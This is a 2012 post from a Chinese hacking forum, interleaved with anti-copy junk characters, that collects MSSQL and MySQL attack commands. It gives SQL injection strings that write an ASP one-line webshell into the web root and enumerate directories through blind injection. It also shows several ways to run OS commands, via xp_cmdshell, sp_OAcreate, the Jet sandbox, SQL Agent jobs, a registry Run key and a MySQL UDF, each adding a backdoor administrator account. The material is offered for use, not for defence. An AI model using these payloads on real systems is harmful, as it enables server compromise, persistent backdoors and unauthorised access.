找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2778|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MSSQL语句导出一句话木马% W" U% z/ W2 ~( W& d0 _. y
首先确定网站的WEB路径7 p6 |; T. [+ j1 n9 _
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马# `* _+ ~, q# c; w' g

* `' y/ `( H: B6 m;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
, h8 V" E2 F( q//将一句话木马插入表中: U) u2 \8 e7 ?7 V/ l6 x. E! G

$ T2 j! d3 H1 K( Q& s% q;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
5 \/ V  k6 ~+ U& r//导出一个ASP文件
# y( B$ f/ p6 T8 O) a+ _& |
/ z6 l6 J4 {. n8 [, e8 O" ^3 l! \2 M# @8 d# F% c- q
关于MSSQL列目录# u  x; ^) Z: Y' H$ K
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
1 w3 P- [6 }4 q8 ~Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
4 F; D5 F8 g5 o0 o6 ]
: y2 v, P4 R+ `and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
5 W3 B1 {& I. E* a2 T# @5 F  g% k* W  F$ h
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段( X. p7 \0 ]! v' }
3 ~0 \2 z, w! Z4 |, k. u
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
- v  Q  x+ \2 d
# h6 V& k) G# e7 L% C' u3 ]( s' h5 N! ^: P9 j5 G( {
数据库版本和权限查看% p$ x/ w+ v" [. P1 z
and 1=(select @@VERSION) //查看详细的数据库信息.4 Y2 h" l% s) S
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA6 p* ^7 d8 O3 G  u
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER7 x" S4 W; U5 _

; m5 g7 M0 d9 h& w
$ b- e0 o" L* ~! {6 s  U2 O# V1.利用xp_cmdshell执行命令
% Z' V3 J. G  A2 I+ W8 _/ p2 J7 b2 Wexec master..xp_cmdshell 'net user rfire 123456 /add'
& t" U& G' w+ {exec master..xp_cmdshell 'net localgroup administrators rfire /add'  b8 w' F+ b1 _" `$ P

/ P  T+ i) a% x. M  R恢复xp_cmdshell存储过程$ q- U" f3 R) L- I* U
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'! i$ W8 s4 a4 A) J. y0 h
# d- r' |1 u4 O4 u) |9 Y% ~

" q& @; S8 |1 f, U) z2 j: }3 o2.利用SP_OAcreate和SP_OAMETHOD执行命令) q! R0 j+ u7 a2 {8 _5 D# W; ?
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下* J5 }. f5 e4 ^0 L3 Z- [
DECLARE @shell INT //建立一个@shell实体
8 K  ?7 l) H) ]$ x9 rEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
% _" `4 R5 n  J$ gEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例& J2 F! i  D( k, y
6 x" R3 {8 u$ u. _! b4 `1 ?  k
4 M/ [' G& u) Q' s) D8 T
3.利用沙盒模式
8 X* U4 u$ X; x5 ~* a先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
* w, _+ m- m; X开启沙盒模式:
/ q4 Q7 u* G0 h  {EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0; Y% N6 q( x+ m) y2 [2 m
" t2 E2 K9 ?( b4 t% g% f5 r
执行命令:4 I/ O) _* B4 r% v( r
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
+ s. ~, q" @. J! K
- W, Z3 A/ j1 d
6 z# A) _; W1 i; e2 p4.利用SQL代理执行命令
5 t0 t6 X* [0 |% C5 m7 Z) YEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务- J# F" C, N$ H+ f9 r8 W/ R

3 Z' g+ n( ~! K6 G; }' `) N执行命令:
1 h: ]& m6 J. z8 puse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
( Y7 T6 |# Z, E4 ^2 u/ Gexec sp_add_job 'x'( w  l  k# m( i9 Y
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
6 h( z) t* `! rexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业. {: V/ X' T; ]2 r6 h$ c

* K2 n1 c' h5 L, r% h8 f, w6 E# n# h- D  y
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
  b0 \! ~' y2 w' K6 G5 \6 p# FEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'$ h, y) @$ c0 P6 S0 `2 Q

! x8 Z( }2 |3 x/ k$ ]/ c' V& V3 v2 `
/ d, G& X& `+ |% y( w5 _. Z- s6.MYSQL的命令执行2 I' F5 p+ y8 O& m# c9 Q
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)4 u& X; M4 f2 d
首先要在su.php下导出c:\windows\udf.dll$ ]1 s4 {+ \! _3 [  m" K2 A
导出后执行创建自定义函数命令:
% X/ J! H: T7 I' f' N8 B- d& v1 UCreate Function cmdshell returns string soname 'udf.dll'3 r) N4 N# T2 f! |
执行命令
& d* N( I$ ~' `& E$ Tselect cmdshell('net user rfire 123456 /add')
: V5 s2 K# g0 x6 \执行后删除函数 drop function cmdshell; {. T' `. D5 |( N7 c. J( W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表